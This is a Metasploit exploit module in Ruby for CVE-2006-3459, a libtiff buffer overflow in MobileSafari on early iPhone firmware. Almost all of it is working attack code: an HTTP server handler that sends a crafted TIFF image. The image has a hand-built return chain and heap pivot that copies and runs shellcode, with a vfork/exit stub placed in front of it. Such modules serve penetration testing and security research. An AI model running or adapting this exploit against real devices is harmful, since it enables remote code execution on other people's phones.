Apple iOS MobileSafari LibTIFF Buffer Overflow

##
# $Id: safari_libtiff.rb 15950 2012-10-09 18:31:08Z rapid7 $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the version of
    libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
    1.1.1 of the Apple iPhone. iPhones which have not had the BSD
    tools installed will need to use a special payload.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>  ['hdm', 'kf'],
   'Version'        => '$Revision: 15950 $',
   'References'     =>
    [
     ['CVE', '2006-3459'],
     ['OSVDB', '27723'],
     ['BID', '19283']
    ],
   'Payload'        =>
    {
     'Space'    => 1800,
     'BadChars' => "",

     # Multi-threaded applications are not allowed to execve() on OS X
     # This stub injects a vfork/exit in front of the payload
     'Prepend'  =>
      [
       0xe3a0c042, # vfork
       0xef000080, # sc
       0xe3500000, # cmp r0, #0
       0x1a000001, # bne
       0xe3a0c001, # exit(0)
       0xef000080  # sc
      ].pack("V*")
    },
   'Arch'           => ARCH_ARMLE,
   'Targets'        =>
    [

     [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
      {
       'Platform' => 'osx',

       # Scratch space for our shellcode and stack
       'Heap'     => 0x00802000,

       # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
       'Magic'    => 0x300d562c,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 01 2006'
   ))
 end

 def on_request_uri(cli, req)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Grab reference to the target
  t = target

  print_status("Sending exploit")

  # Transmit the compressed response to the client
  send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })

  # Handle the payload
  handler(cli)
 end

 def generate_tiff(code, targ)

  #
  # This is a TIFF file, we have a huge range of evasion
  # capabilities, but for now, we don't use them.
  #  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
  #

  lolz = 2048
  tiff =
   "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
   "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
   "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
   "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
   "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
   "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
   "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
   [lolz].pack("V") +
   "\x84\x00\x00\x00\x00\x00\x00\x00"

  # Randomize the bajeezus out of our data
  hehe = rand_text(lolz)

  # Were going to candy mountain!
  hehe[120, 4] = [targ['Magic']].pack("V")

  # >> add r0, r4, #0x30
  hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

  # Candy mountain, Charlie!
  # >> mov r1, sp

  # It will be an adventure!
  # >> mov r2, r8
  hehe[ 92, 4] = [ hehe.length ].pack("V")

  # Its a magic leoplurodon!
  # It has spoken!
  # It has shown us the way!
  # >> bl _memcpy

  # Its just over this bridge, Charlie!
  # This magical bridge!
  # >> ldr r3, [r4, #32]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #32]
  # >> ldr r3, [r4, #36]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #36]
  # >> ldr r3, [r4, #40]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #40]
  # >> ldr r3, [r4, #44]
  # >> ldrt r3, [pc], r3, lsr #30
  # >> str r3, [r4, #44]

  # We made it to candy mountain!
  # Go inside Charlie!
  # sub sp, r7, #0x14
  hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

  # Goodbye Charlie!
  # ;; targ['Heap'] + 0x48 becomes the stack pointer
  # >> ldmia sp!, {r8, r10}

  # Hey, what the...!
  # >> ldmia sp!, {r4, r5, r6, r7, pc}

  # Return back to the copied heap data
  hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")

  # Insert our actual shellcode at heap location + 196
  hehe[196, payload.encoded.length] = payload.encoded

  tiff << hehe
 end

end